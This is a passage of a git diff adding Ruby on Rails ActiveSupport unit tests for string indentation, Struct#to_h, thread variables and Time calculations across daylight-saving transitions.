+.... some_code
+.... end
+EXPECTED
+ def some_method(x, y)
+ some_code
+ end
+ACTUAL
+
+ assert_equal <<EXPECTED, <<ACTUAL.indent(2, ' ')
+ def some_method(x, y)
+ some_code
+ end
+EXPECTED
+ def some_method(x, y)
+ some_code
+ end
+ACTUAL
+ end
+
+ test "does not indent blank lines by default" do
+ assert_equal " foo\n\n bar", "foo\n\nbar".indent(1)
+ end
+
+ test 'indents blank lines if told so' do
+ assert_equal " foo\n \n bar", "foo\n\nbar".indent(1, nil, true)
+ end
+end
diff --git a/activesupport/test/core_ext/struct_test.rb b/activesupport/test/core_ext/struct_test.rb
new file mode 100644
index 0000000..0dff7b3
--- /dev/null
+++ b/activesupport/test/core_ext/struct_test.rb
@@ -0,0 +1,10 @@
+require 'abstract_unit'
+require 'active_support/core_ext/struct'
+
+class StructExt < ActiveSupport::TestCase
+ def test_to_h
+ x = Struct.new(:foo, :bar)
+ z = x.new(1, 2)
+ assert_equal({ foo: 1, bar: 2 }, z.to_h)
+ end
+end
diff --git a/activesupport/test/core_ext/thread_test.rb b/activesupport/test/core_ext/thread_test.rb
new file mode 100644
index 0000000..230c120
--- /dev/null
+++ b/activesupport/test/core_ext/thread_test.rb
@@ -0,0 +1,77 @@
+require 'abstract_unit'
+require 'active_support/core_ext/thread'
+
+class ThreadExt < ActiveSupport::TestCase
+ def test_main_thread_variable_in_enumerator
+ assert_equal Thread.main, Thread.current
+
+ Thread.current.thread_variable_set :foo, "bar"
+
+ thread, value = Fiber.new {
+ Fiber.yield [Thread.current, Thread.current.thread_variable_get(:foo)]
+ }.resume
+
+ assert_equal Thread.current, thread
+ assert_equal Thread.current.thread_variable_get(:foo), value
+ end
+
+ def test_thread_variable_in_enumerator
+ Thread.new {
+ Thread.current.thread_variable_set :foo, "bar"
+
+ thread, value = Fiber.new {
+ Fiber.yield [Thread.current, Thread.current.thread_variable_get(:foo)]
+ }.resume
+
+ assert_equal Thread.current, thread
+ assert_equal Thread.current.thread_variable_get(:foo), value
+ }.join
+ end
+
+ def test_thread_variables
+ assert_equal [], Thread.new { Thread.current.thread_variables }.join.value
+
+ t = Thread.new {
+ Thread.current.thread_variable_set(:foo, "bar")
+ Thread.current.thread_variables
+ }
+ assert_equal [:foo], t.join.value
+ end
+
+ def test_thread_variable?
+ assert_not Thread.new { Thread.current.thread_variable?("foo") }.join.value
+ t = Thread.new {
+ Thread.current.thread_variable_set("foo", "bar")
+ }.join
+
+ assert t.thread_variable?("foo")
+ assert t.thread_variable?(:foo)
+ assert_not t.thread_variable?(:bar)
+ end
+
+ def test_thread_variable_strings_and_symbols_are_the_same_key
+ t = Thread.new {}.join
+ t.thread_variable_set("foo", "bar")
+ assert_equal "bar", t.thread_variable_get(:foo)
+ end
+
+ def test_thread_variable_frozen
+ t = Thread.new { }.join
+ t.freeze
+ assert_raises(RuntimeError) do
+ t.thread_variable_set(:foo, "bar")
+ end
+ end
+
+ def test_thread_variable_security
+ t = Thread.new { sleep }
+
+ assert_raises(SecurityError) do
+ Thread.new { $SAFE = 4; t.thread_variable_get(:foo) }.join
+ end
+
+ assert_raises(SecurityError) do
+ Thread.new { $SAFE = 4; t.thread_variable_set(:foo, :baz) }.join
+ end
+ end
+end
diff --git a/activesupport/test/core_ext/time_ext_test.rb b/activesupport/test/core_ext/time_ext_test.rb
new file mode 100644
index 0000000..2864d7a
--- /dev/null
+++ b/activesupport/test/core_ext/time_ext_test.rb
@@ -0,0 +1,864 @@
+require 'abstract_unit'
+require 'active_support/time'
+require 'core_ext/date_and_time_behavior'
+
+class TimeExtCalculationsTest < ActiveSupport::TestCase
+ def date_time_init(year,month,day,hour,minute,second,usec=0)
+ Time.local(year,month,day,hour,minute,second,usec)
+ end
+
+ include DateAndTimeBehavior
+
+ def test_seconds_since_midnight
+ assert_equal 1,Time.local(2005,1,1,0,0,1).seconds_since_midnight
+ assert_equal 60,Time.local(2005,1,1,0,1,0).seconds_since_midnight
+ assert_equal 3660,Time.local(2005,1,1,1,1,0).seconds_since_midnight
+ assert_equal 86399,Time.local(2005,1,1,23,59,59).seconds_since_midnight
+ assert_equal 60.00001,Time.local(2005,1,1,0,1,0,10).seconds_since_midnight
+ end
+
+ def test_seconds_since_midnight_at_daylight_savings_time_start
+ with_env_tz 'US/Eastern' do
+ # dt: US: 2005 April 3rd 2:00am ST => April 3rd 3:00am DT
+ assert_equal 2*3600-1, Time.local(2005,4,3,1,59,59).seconds_since_midnight, 'just before DST start'
+ assert_equal 2*3600+1, Time.local(2005,4,3,3, 0, 1).seconds_since_midnight, 'just after DST start'
+ end
+
+ with_env_tz 'NZ' do
+ # dt: New Zealand: 2006 October 1st 2:00am ST => October 1st 3:00am DT
+ assert_equal 2*3600-1, Time.local(2006,10,1,1,59,59).seconds_since_midnight, 'just before DST start'
+ assert_equal 2*3600+1, Time.local(2006,10,1,3, 0, 1).seconds_since_midnight, 'just after DST start'
+ end
+ end
+
+ def test_seconds_since_midnight_at_daylight_savings_time_end
+ with_env_tz 'US/Eastern' do
+ # st: US: 2005 October 30th 2:00am DT => October 30th 1:00am ST
+ # avoid setting a time between 1:00 and 2:00 since that requires specifying whether DST is active
+ assert_equal 1*3600-1, Time.local(2005,10,30,0,59,59).seconds_since_midnight, 'just before DST end'
+ assert_equal 3*3600+1, Time.local(2005,10,30,2, 0, 1).seconds_since_midnight, 'just after DST end'
+
+ # now set a time between 1:00 and 2:00 by specifying whether DST is active
+ # uses: Time.local( sec, min, hour, day, month, year, wday, yday, isdst, tz )
+ assert_equal 1*3600+30*60, Time.local(0,30,1,30,10,2005,0,0,true,ENV['TZ']).seconds_since_midnight, 'before DST end'
+ assert_equal 2*3600+30*60, Time.local(0,30,1,30,10,2005,0,0,false,ENV['TZ']).seconds_since_midnight, 'after DST end'
+ end
+
+ with_env_tz 'NZ' do
+ # st: New Zealand: 2006 March 19th 3:00am DT => March 19th 2:00am ST
+ # avoid setting a time between 2:00 and 3:00 since that requires specifying whether DST is active
+ assert_equal 2*3600-1, Time.local(2006,3,19,1,59,59).seconds_since_midnight, 'just before DST end'
+ assert_equal 4*3600+1, Time.local(2006,3,19,3, 0, 1).seconds_since_midnight, 'just after DST end'
+
+ # now set a time between 2:00 and 3:00 by specifying whether DST is active
+ # uses: Time.local( sec, min, hour, day, month, year, wday, yday, isdst, tz )
+ assert_equal 2*3600+30*60, Time.local(0,30,2,19,3,2006,0,0,true, ENV['TZ']).seconds_since_midnight, 'before DST end'
+ assert_equal 3*3600+30*60, Time.local(0,30,2,19,3,2006,0,0,false,ENV['TZ']).seconds_since_midnight, 'after DST end'
+ end
+ end
+
+ def test_seconds_until_end_of_day
+ assert_equal 0, Time.local(2005,1,1,23,59,59).seconds_until_end_of_day
+ assert_equal 1, Time.local(2005,1,1,23,59,58).seconds_until_end_of_day
+ assert_equal 60, Time.local(2005,1,1,23,58,59).seconds_until_end_of_day
+ assert_equal 3660, Time.local(2005,1,1,22,58,59).seconds_until_end_of_day
+ assert_equal 86399, Time.local(2005,1,1,0,0,0).seconds_until_end_of_day
+ end
+
+ def test_seconds_until_end_of_day_at_daylight_savings_time_start
+ with_env_tz 'US/Eastern' do
+ # dt: US: 2005 April 3rd 2:00am ST => April 3rd 3:00am DT
+ assert_equal 21*3600, Time.local(2005,4,3,1,59,59).seconds_until_end_of_day, 'just before DST start'
+ assert_equal 21*3600-2, Time.local(2005,4,3,3,0,1).seconds_until_end_of_day, 'just after DST start'
+ end
+
+ with_env_tz 'NZ' do
+ # dt: New Zealand: 2006 October 1st 2:00am ST => October 1st 3:00am DT
+ assert_equal 21*3600, Time.local(2006,10,1,1,59,59).seconds_until_end_of_day, 'just before DST start'
+ assert_equal 21*3600-2, Time.local(2006,10,1,3,0,1).seconds_until_end_of_day, 'just after DST start'
+ end
+ end
+
+ def test_seconds_until_end_of_day_at_daylight_savings_time_end
+ with_env_tz 'US/Eastern' do
+ # st: US: 2005 October 30th 2:00am DT => October 30th 1:00am ST
+ # avoid setting a time between 1:00 and 2:00 since that requires specifying whether DST is active
+ assert_equal 24*3600, Time.local(2005,10,30,0,59,59).seconds_until_end_of_day, 'just before DST end'
+ assert_equal 22*3600-2, Time.local(2005,10,30,2,0,1).seconds_until_end_of_day, 'just after DST end'
+
+ # now set a time between 1:00 and 2:00 by specifying whether DST is active
+ # uses: Time.local( sec, min, hour, day, month, year, wday, yday, isdst, tz )
+ assert_equal 24*3600-30*60-1, Time.local(0,30,1,30,10,2005,0,0,true,ENV['TZ']).seconds_until_end_of_day, 'before DST end'
+ assert_equal 23*3600-30*60-1, Time.local(0,30,1,30,10,2005,0,0,false,ENV['TZ']).seconds_until_end_of_day, 'after DST end'
+ end
+
+ with_env_tz 'NZ' do
+ # st: New Zealand: 2006 March 19th 3:00am DT => March 19th 2:00am ST
+ # avoid setting a time between 2:00 and 3:00 since that requires specifying whether DST is active
+ assert_equal 23*3600, Time.local(2006,3,19,1,59,59).seconds_until_end_of_day, 'just before DST end'
+ assert_equal 21*3600-2, Time.local(2006,3,19,3,0,1).seconds_until_end_of_day, 'just after DST end'
+
+ # now set a time between 2:00 and 3:00 by specifying whether DST is active
+ # uses: Time.local( sec, min, hour, day, month, year, wday, yday, isdst, tz )
+ assert_equal 23*3600-30*60-1, Time.local(0,30,2,19,3,2006,0,0,true, ENV['TZ']).seconds_until_end_of_day, 'before DST end'
+ assert_equal 22*3600-30*60-1, Time.local(0,30,2,19,3,2006,0,0,false,ENV['TZ']).seconds_until_end_of_day, 'after DST end'
+ end
+ end
+
+ def test_beginning_of_day
+ assert_equal Time.local(2005,2,4,0,0,0), Time.local(2005,2,4,10,10,10).beginning_of_day
+ with_env_tz 'US/Eastern' do
+ assert_equal Time.local(2006,4,2,0,0,0), Time.local(2006,4,2,10,10,10).beginning_of_day, 'start DST'
+ assert_equal Time.local(2006,10,29,0,0,0), Time.local(2006,10,29,10,10,10).beginning_of_day, 'ends DST'
+ end
+ with_env_tz 'NZ' do
+ assert_equal Time.local(2006,3,19,0,0,0), Time.local(2006,3,19,10,10,10).beginning_of_day, 'ends DST'
+ assert_equal Time.local(2006,10,1,0,0,0), Time.local(2006,10,1,10,10,10).beginning_of_day, 'start DST'
+ end
+ end
+
+ def test_beginning_of_hour
+ assert_equal Time.local(2005,2,4,19,0,0), Time.local(2005,2,4,19,30,10).beginning_of_hour
+ end
+
+ def test_beginning_of_minute
+ assert_equal Time.local(2005,2,4,19,30,0), Time.local(2005,2,4,19,30,10).beginning_of_minute
+ end
+
+ def test_end_of_day
+ assert_equal Time.local(2007,8,12,23,59,59,Rational(999999999, 1000)), Time.local(2007,8,12,10,10,10).end_of_day
+ with_env_tz 'US/Eastern' do
+ assert_equal Time.local(2007,4,2,23,59,59,Rational(999999999, 1000)), Time.local(2007,4,2,10,10,10).end_of_day, 'start DST'
+ assert_equal Time.local(2007,10,29,23,59,59,Rational(999999999, 1000)), Time.local(2007,10,29,10,10,10).end_of_day, 'ends DST'
+ end
+ with_env_tz 'NZ' do
+ assert_equal Time.local(2006,3,19,23,59,59,Rational(999999999, 1000)), Time.local(2006,3,19,10,10,10).end_of_day, 'ends DST'
+ assert_equal Time.local(2006,10,1,23,59,59,Rational(999999999, 1000)), Time.local(2006,10,1,10,10,10).end_of_day, 'start DST'
+ end
+ end
+
+ def test_end_of_hour
+ assert_equal Time.local(2005,2,4,19,59,59,Rational(999999999, 1000)), Time.local(2005,2,4,19,30,10).end_of_hour
+ end
+
+ def test_end_of_minute
+ assert_equal Time.local(2005,2,4,19,30,59,Rational(999999999, 1000)), Time.local(2005,2,4,19,30,10).end_of_minute
+ end
+
+ def test_last_year
+ assert_equal Time.local(2004,6,5,10), Time.local(2005,6,5,10,0,0).last_year
+ end
+
+ def test_ago
+ assert_equal Time.local(2005,2,22,10,10,9), Time.local(2005,2,22,10,10,10).ago(1)
+ assert_equal Time.local(2005,2,22,9,10,10), Time.local(2005,2,22,10,10,10).ago(3600)
+ assert_equal Time.local(2005,2,20,10,10,10), Time.local(2005,2,22,10,10,10).ago(86400*2)
+ assert_equal Time.local(2005,2,20,9,9,45), Time.local(2005,2,22,10,10,10).ago(86400*2 + 3600 + 25)
+ end
+
+ def test_daylight_savings_time_crossings_backward_start
+ with_env_tz 'US/Eastern' do
+ # dt: US: 2005 April 3rd 4:18am
+ assert_equal Time.local(2005,4,2,3,18,0), Time.local(2005,4,3,4,18,0).ago(24.hours), 'dt-24.hours=>st'
+ assert_equal Time.local(2005,4,2,3,18,0), Time.local(2005,4,3,4,18,0).ago(86400), 'dt-86400=>st'
+ assert_equal Time.local(2005,4,2,3,18,0), Time.local(2005,4,3,4,18,0).ago(86400.seconds), 'dt-86400.seconds=>st'
+
+ assert_equal Time.local(2005,4,1,4,18,0), Time.local(2005,4,2,4,18,0).ago(24.hours), 'st-24.hours=>st'
+ assert_equal Time.local(2005,4,1,4,18,0), Time.local(2005,4,2,4,18,0).ago(86400), 'st-86400=>st'
+ assert_equal Time.local(2005,4,1,4,18,0), Time.local(2005,4,2,4,18,0).ago(86400.seconds), 'st-86400.seconds=>st'
+ end
+ with_env_tz 'NZ' do
+ # dt: New Zealand: 2006 October 1st 4:18am
+ assert_equal Time.local(2006,9,30,3,18,0), Time.local(2006,10,1,4,18,0).ago(24.hours), 'dt-24.hours=>st'
+ assert_equal Time.local(2006,9,30,3,18,0), Time.local(2006,10,1,4,18,0).ago(86400), 'dt-86400=>st'
+ assert_equal Time.local(2006,9,30,3,18,0), Time.local(2006,10,1,4,18,0).ago(86400.seconds), 'dt-86400.seconds=>st'
+
+ assert_equal Time.local(2006,9,29,4,18,0), Time.local(2006,9,30,4,18,0).ago(24.hours), 'st-24.hours=>st'
+ assert_equal Time.local(2006,9,29,4,18,0), Time.local(2006,9,30,4,18,0).ago(86400), 'st-86400=>st'
+ assert_equal Time.local(2006,9,29,4,18,0), Time.local(2006,9,30,4,18,0).ago(86400.seconds), 'st-86400.seconds=>st'
+ end
+ end
+
+ def test_daylight_savings_time_crossings_backward_end
+ with_env_tz 'US/Eastern' do
+ # st: US: 2005 October 30th 4:03am
+ assert_equal Time.local(2005,10,29,5,3), Time.local(2005,10,30,4,3,0).ago(24.hours), 'st-24.hours=>dt'
+ assert_equal Time.local(2005,10,29,5,3), Time.local(2005,10,30,4,3,0).ago(86400), 'st-86400=>dt'
+ assert_equal Time.local(2005,10,29,5,3), Time.local(2005,10,30,4,3,0).ago(86400.seconds), 'st-86400.seconds=>dt'
+
+ assert_equal Time.local(2005,10,28,4,3), Time.local(2005,10,29,4,3,0).ago(24.hours), 'dt-24.hours=>dt'
+ assert_equal Time.local(2005,10,28,4,3), Time.local(2005,10,29,4,3,0).ago(86400), 'dt-86400=>dt'
+ assert_equal Time.local(2005,10,28,4,3), Time.local(2005,10,29,4,3,0).ago(86400.seconds), 'dt-86400.seconds=>dt'
+ end
+ with_env_tz 'NZ' do
+ # st: New Zealand: 2006 March 19th 4:03am
+ assert_equal Time.local(2006,3,18,5,3), Time.local(2006,3,19,4,3,0).ago(24.hours), 'st-24.hours=>dt'
+ assert_equal Time.local(2006,3,18,5,3), Time.local(2006,3,19,4,3,0).ago(86400), 'st-86400=>dt'
+ assert_equal Time.local(2006,3,18,5,3), Time.local(2006,3,19,4,3,0).ago(86400.seconds), 'st-86400.seconds=>dt'
+
+ assert_equal Time.local(2006,3,17,4,3), Time.local(2006,3,18,4,3,0).ago(24.hours), 'dt-24.hours=>dt'
+ assert_equal Time.local(2006,3,17,4,3), Time.local(2006,3,18,4,3,0).ago(86400), 'dt-86400=>dt'
+ assert_equal Time.local(2006,3,17,4,3), Time.local(2006,3,18,4,3,0).ago(86400.seconds), 'dt-86400.seconds=>dt'
+ end
+ end
+
+ def test_daylight_savings_time_crossings_backward_start_1day
+ with_env_tz 'US/Eastern' do
+ # dt: US: 2005 April 3rd 4:18am
+ assert_equal Time.local(2005,4,2,4,18,0), Time.local(2005,4,3,4,18,0).ago(1.day), 'dt-1.day=>st'
+ assert_equal Time.local(2005,4,1,4,18,0), Time.local(2005,4,2,4,18,0).ago(1.day), 'st-1.day=>st'
+ end
+ with_env_tz 'NZ' do
+ # dt: New Zealand: 2006 October 1st 4:18am
+ assert_equal Time.local(2006,9,30,4,18,0), Time.local(2006,10,1,4,18,0).ago(1.day), 'dt-1.day=>st'
+ assert_equal Time.local(2006,9,29,4,18,0), Time.local(2006,9,30,4,18,0).ago(1.day), 'st-1.day=>st'
+ end
+ end
+
+ def test_daylight_savings_time_crossings_backward_end_1day
+ with_env_tz 'US/Eastern' do
+ # st: US: 2005 October 30th 4:03am
+ assert_equal Time.local(2005,10,29,4,3), Time.local(2005,10,30,4,3,0).ago(1.day), 'st-1.day=>dt'
+ assert_equal Time.local(2005,10,28,4,3), Time.local(2005,10,29,4,3,0).ago(1.day), 'dt-1.day=>dt'
+ end
+ with_env_tz 'NZ' do
+ # st: New Zealand: 2006 March 19th 4:03am
+ assert_equal Time.local(2006,3,18,4,3), Time.local(2006,3,19,4,3,0).ago(1.day), 'st-1.day=>dt'
+ assert_equal Time.local(2006,3,17,4,3), Time.local(2006,3,18,4,3,0).ago(1.day), 'dt-1.day=>dt'
+ end
+ end
+
+ def test_since
+ assert_equal Time.local(2005,2,22,10,10,11), Time.local(2005,2,22,10,10,10).since(1)
+ assert_equal Time.local(2005,2,22,11,10,10), Time.local(2005,2,22,10,10,10).since(3600)
+ assert_equal Time.local(2005,2,24,10,10,10), Time.local(2005,2,22,10,10,10).since(86400*2)
+ assert_equal Time.local(2005,2,24,11,10,35), Time.local(2005,2,22,10,10,10).since(86400*2 + 3600 + 25)
+ # when out of range of Time, returns a DateTime
+ assert_equal DateTime.civil(2038,1,20,11,59,59), Time.utc(2038,1,18,11,59,59).since(86400*2)
+ end
+
+ def test_daylight_savings_time_crossings_forward_start
+ with_env_tz 'US/Eastern' do
+ # st: US: 2005 April 2nd 7:27pm
+ assert_equal Time.local(2005,4,3,20,27,0), Time.local(2005,4,2,19,27,0).since(24.hours), 'st+24.hours=>dt'
+ assert_equal Time.local(2005,4,3,20,27,0), Time.local(2005,4,2,19,27,0).since(86400), 'st+86400=>dt'
+ assert_equal Time.local(2005,4,3,20,27,0), Time.local(2005,4,2,19,27,0).since(86400.seconds), 'st+86400.seconds=>dt'
+
+ assert_equal Time.local(2005,4,4,19,27,0), Time.local(2005,4,3,19,27,0).since(24.hours), 'dt+24.hours=>dt'
+ assert_equal Time.local(2005,4,4,19,27,0), Time.local(2005,4,3,19,27,0).since(86400), 'dt+86400=>dt'
+ assert_equal Time.local(2005,4,4,19,27,0), Time.local(2005,4,3,19,27,0).since(86400.seconds), 'dt+86400.seconds=>dt'
+ end
+ with_env_tz 'NZ' do
+ # st: New Zealand: 2006 September 30th 7:27pm
+ assert_equal Time.local(2006,10,1,20,27,0), Time.local(2006,9,30,19,27,0).since(24.hours), 'st+24.hours=>dt'
+ assert_equal Time.local(2006,10,1,20,27,0), Time.local(2006,9,30,19,27,0).since(86400), 'st+86400=>dt'
+ assert_equal Time.local(2006,10,1,20,27,0), Time.local(2006,9,30,19,27,0).since(86400.seconds), 'st+86400.seconds=>dt'
+
+ assert_equal Time.local(2006,10,2,19,27,0), Time.local(2006,10,1,19,27,0).since(24.hours), 'dt+24.hours=>dt'
+ assert_equal Time.local(2006,10,2,19,27,0), Time.local(2006,10,1,19,27,0).since(86400), 'dt+86400=>dt'
+ assert_equal Time.local(2006,10,2,19,27,0), Time.local(2006,10,1,19,27,0).since(86400.seconds), 'dt+86400.seconds=>dt'
+ end
+ end
+
+ def test_daylight_savings_time_crossings_forward_start_1day
+ with_env_tz 'US/Eastern' do
+ # st: US: 2005 April 2nd 7:27pm
+ assert_equal Time.local(2005,4,3,19,27,0), Time.local(2005,4,2,19,27,0).since(1.day), 'st+1.day=>dt'
+ assert_equal Time.local(2005,4,4,19,27,0), Time.local(2005,4,3,19,27,0).since(1.day), 'dt+1.day=>dt'
+ end
+ with_env_tz 'NZ' do
+ # st: New Zealand: 2006 September 30th 7:27pm
+ assert_equal Time.local(2006,10,1,19,27,0), Time.local(2006,9,30,19,27,0).since(1.day), 'st+1.day=>dt'
+ assert_equal Time.local(2006,10,2,19,27,0), Time.local(2006,10,1,19,27,0).since(1.day), 'dt+1.day=>dt'
+ end
+ end
+
+ def test_daylight_savings_time_crossings_forward_start_tomorrow
+ with_env_tz 'US/Eastern' do
+ # st: US: 2005 April 2nd 7:27pm
+ assert_equal Time.local(2005,4,3,19,27,0), Time.local(2005,4,2,19,27,0).tomorrow, 'st+1.day=>dt'
+ assert_equal Time.local(2005,4,4,19,27,0), Time.local(2005,4,3,19,27,0).tomorrow, 'dt+1.day=>dt'
+ end
+ with_env_tz 'NZ' do
+ # st: New Zealand: 2006 September 30th 7:27pm
+ assert_equal Time.local(2006,10,1,19,27,0), Time.local(2006,9,30,19,27,0).tomorrow, 'st+1.day=>dt'
+ assert_equal Time.local(2006,10,2,19,27,0), Time.local(2006,10,1,19,27,0).tomorrow, 'dt+1.day=>dt'
+ end
+ end
+
+ def test_daylight_savings_time_crossings_backward_start_yesterday
+ with_env_tz 'US/Eastern' do
+ # st: US: 2005 April 2nd 7:27pm
+ assert_equal Time.local(2005,4,2,19,27,0), Time.local(2005,4,3,19,27,0).yesterday, 'dt-1.day=>st'
+ assert_equal Time.local(2005,4,3,19,27,0), Time.local(2005,4,4,19,27,0).yesterday, 'dt-1.day=>dt'
+ end
+ with_env_tz 'NZ' do
+ # st: New Zealand: 2006 September 30th 7:27pm
+ assert_equal Time.local(2006,9,30,19,27,0), Time.local(2006,10,1,19,27,0).yesterday, 'dt-1.day=>st'
+ assert_equal Time.local(2006,10,1,19,27,0), Time.local(2006,10,2,19,27,0).yesterday, 'dt-1.day=>dt'
+ end
+ end
+
+ def test_daylight_savings_time_crossings_forward_end
+ with_env_tz 'US/Eastern' do
+ # dt: US: 2005 October 30th 12:45am
+ assert_equal Time.local(2005,10,30,23,45,0), Time.local(2005,10,30,0,45,0).since(24.hours), 'dt+24.hours=>st'
+ assert_equal Time.local(2005,10,30,23,45,0), Time.local(2005,10,30,0,45,0).since(86400), 'dt+86400=>st'
+ assert_equal Time.local(2005,10,30,23,45,0), Time.local(2005,10,30,0,45,0).since(86400.seconds), 'dt+86400.seconds=>st'
+
+ assert_equal Time.local(2005,11, 1,0,45,0), Time.local(2005,10,31,0,45,0).since(24.hours), 'st+24.hours=>st'
+ assert_equal Time.local(2005,11, 1,0,45,0), Time.local(2005,10,31,0,45,0).since(86400), 'st+86400=>st'
+ assert_equal Time.local(2005,11, 1,0,45,0), Time.local(2005,10,31,0,45,0).since(86400.seconds), 'st+86400.seconds=>st'
+ end
+ with_env_tz 'NZ' do
+ # dt: New Zealand: 2006 March 19th 1:45am
+ assert_equal Time.local(2006,3,20,0,45,0), Time.local(2006,3,19,1,45,0).since(24.hours), 'dt+24.hours=>st'
+ assert_equal Time.local(2006,3,20,0,45,0), Time.local(2006,3,19,1,45,0).since(86400), 'dt+86400=>st'
+ assert_equal Time.local(2006,3,20,0,45,0), Time.local(2006,3,19,1,45,0).since(86400.seconds), 'dt+86400.seconds=>st'
+
+ assert_equal Time.local(2006,3,21,1,45,0), Time.local(2006,3,20,1,45,0).since(24.hours), 'st+24.hours=>st'
+ assert_equal Time.local(2006,3,21,1,45,0), Time.local(2006,3,20,1,45,0).since(86400), 'st+86400=>st'
+ assert_equal Time.local(2006,3,21,1,45,0), Time.local(2006,3,20,1,45,0).since(86400.seconds), 'st+86400.seconds=>st'
+ end
+ end
+
+ def test_daylight_savings_time_crossings_forward_end_1day
+ with_env_tz 'US/Eastern' do
+ # dt: US: 2005 October 30th 12:45am
+ assert_equal Time.local(2005,10,31,0,45,0), Time.local(2005,10,30,0,45,0).since(1.day), 'dt+1.day=>st'
+ assert_equal Time.local(2005,11, 1,0,45,0), Time.local(2005,10,31,0,45,0).since(1.day), 'st+1.day=>st'
+ end
+ with_env_tz 'NZ' do
+ # dt: New Zealand: 2006 March 19th 1:45am
+ assert_equal Time.local(2006,3,20,1,45,0), Time.local(2006,3,19,1,45,0).since(1.day), 'dt+1.day=>st'
+ assert_equal Time.local(2006,3,21,1,45,0), Time.local(2006,3,20,1,45,0).since(1.day), 'st+1.day=>st'
+ end
+ end
+
+ def test_daylight_savings_time_crossings_forward_end_tomorrow
+ with_env_tz 'US/Eastern' do
+ # dt: US: 2005 October 30th 12:45am
+ assert_equal Time.local(2005,10,31,0,45,0), Time.local(2005,10,30,0,45,0).tomorrow, 'dt+1.day=>st'
+ assert_equal Time.local(2005,11, 1,0,45,0), Time.local(2005,10,31,0,45,0).tomorrow, 'st+1.day=>st'
+ end
+ with_env_tz 'NZ' do
+ # dt: New Zealand: 2006 March 19th 1:45am
+ assert_equal Time.local(2006,3,20,1,45,0), Time.local(2006,3,19,1,45,0).tomorrow, 'dt+1.day=>st'
+ assert_equal Time.local(2006,3,21,1,45,0), Time.local(2006,3,20,1,45,0).tomorrow, 'st+1.day=>st'
+ end
+ end
+
+ def test_daylight_savings_time_crossings_backward_end_yesterday
+ with_env_tz 'US/Eastern' do
+ # dt: US: 2005 October 30th 12:45am
+ assert_equal Time.local(2005,10,30,0,45,0), Time.local(2005,10,31,0,45,0).yesterday, 'st-1.day=>dt'
+ assert_equal Time.local(2005,10, 31,0,45,0), Time.local(2005,11,1,0,45,0).yesterday, 'st-1.day=>st'
+ end
+ with_env_tz 'NZ' do
+ # dt: New Zealand: 2006 March 19th 1:45am
+ assert_equal Time.local(2006,3,19,1,45,0), Time.local(2006,3,20,1,45,0).yesterday, 'st-1.day=>dt'
+ assert_equal Time.local(2006,3,20,1,45,0), Time.local(2006,3,21,1,45,0).yesterday, 'st-1.day=>st'
+ end
+ end
+
+ def test_change
+ assert_equal Time.local(2006,2,22,15,15,10), Time.local(2005,2,22,15,15,10).change(:year => 2006)
+ assert_equal Time.local(2005,6,22,15,15,10), Time.local(2005,2,22,15,15,10).change(:month => 6)
+ assert_equal Time.local(2012,9,22,15,15,10), Time.local(2005,2,22,15,15,10).change(:year => 2012, :month => 9)
+ assert_equal Time.local(2005,2,22,16), Time.local(2005,2,22,15,15,10).change(:hour => 16)
+ assert_equal Time.local(2005,2,22,16,45), Time.local(2005,2,22,15,15,10).change(:hour => 16, :min => 45)
+ assert_equal Time.local(2005,2,22,15,45), Time.local(2005,2,22,15,15,10).change(:min => 45)
+
+ assert_equal Time.local(2005,1,2, 5, 0, 0, 0), Time.local(2005,1,2,11,22,33,44).change(:hour => 5)
+ assert_equal Time.local(2005,1,2,11, 6, 0, 0), Time.local(2005,1,2,11,22,33,44).change(:min => 6)
+ assert_equal Time.local(2005,1,2,11,22, 7, 0), Time.local(2005,1,2,11,22,33,44).change(:sec => 7)
+ assert_equal Time.local(2005,1,2,11,22,33, 8), Time.local(2005,1,2,11,22,33,44).change(:usec => 8)
+ end
+
+ def test_utc_change
+ assert_equal Time.utc(2006,2,22,15,15,10), Time.utc(2005,2,22,15,15,10).change(:year => 2006)
+ assert_equal Time.utc(2005,6,22,15,15,10), Time.utc(2005,2,22,15,15,10).change(:month => 6)
+ assert_equal Time.utc(2012,9,22,15,15,10), Time.utc(2005,2,22,15,15,10).change(:year => 2012, :month => 9)
+ assert_equal Time.utc(2005,2,22,16), Time.utc(2005,2,22,15,15,10).change(:hour => 16)
+ assert_equal Time.utc(2005,2,22,16,45), Time.utc(2005,2,22,15,15,10).change(:hour => 16, :min => 45)
+ assert_equal Time.utc(2005,2,22,15,45), Time.utc(2005,2,22,15,15,10).change(:min => 45)
+ end
+
+ def test_offset_change
+ assert_equal Time.new(2006,2,22,15,15,10,"-08:00"), Time.new(2005,2,22,15,15,10,"-08:00").change(:year => 2006)
+ assert_equal Time.new(2005,6,22,15,15,10,"-08:00"), Time.new(2005,2,22,15,15,10,"-08:00").change(:month => 6)
+ assert_equal Time.new(2012,9,22,15,15,10,"-08:00"), Time.new(2005,2,22,15,15,10,"-08:00").change(:year => 2012, :month => 9)
+ assert_equal Time.new(2005,2,22,16,0,0,"-08:00"), Time.new(2005,2,22,15,15,10,"-08:00").change(:hour => 16)
+ assert_equal Time.new(2005,2,22,16,45,0,"-08:00"), Time.new(2005,2,22,15,15,10,"-08:00").change(:hour => 16, :min => 45)
+ assert_equal Time.new(2005,2,22,15,45,0,"-08:00"), Time.new(2005,2,22,15,15,10,"-08:00").change(:min => 45)
+ end
+
+ def test_advance
+ assert_equal Time.local(2006,2,28,15,15,10), Time.local(2005,2,28,15,15,10).advance(:years => 1)
+ assert_equal Time.local(2005,6,28,15,15,10), Time.local(2005,2,28,15,15,10).advance(:months => 4)
+ assert_equal Time.local(2005,3,21,15,15,10), Time.local(2005,2,28,15,15,10).advance(:weeks => 3)
+ assert_equal Time.local(2005,3,25,3,15,10), Time.local(2005,2,28,15,15,10).advance(:weeks => 3.5)
+ assert_in_delta Time.local(2005,3,26,12,51,10), Time.local(2005,2,28,15,15,10).advance(:weeks => 3.7), 1
+ assert_equal Time.local(2005,3,5,15,15,10), Time.local(2005,2,28,15,15,10).advance(:days => 5)
+ assert_equal Time.local(2005,3,6,3,15,10), Time.local(2005,2,28,15,15,10).advance(:days => 5.5)
+ assert_in_delta Time.local(2005,3,6,8,3,10), Time.local(2005,2,28,15,15,10).advance(:days => 5.7), 1
+ assert_equal Time.local(2012,9,28,15,15,10), Time.local(2005,2,28,15,15,10).advance(:years => 7, :months => 7)
+ assert_equal Time.local(2013,10,3,15,15,10), Time.local(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :days => 5)
+ assert_equal Time.local(2013,10,17,15,15,10), Time.local(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :weeks => 2, :days => 5)
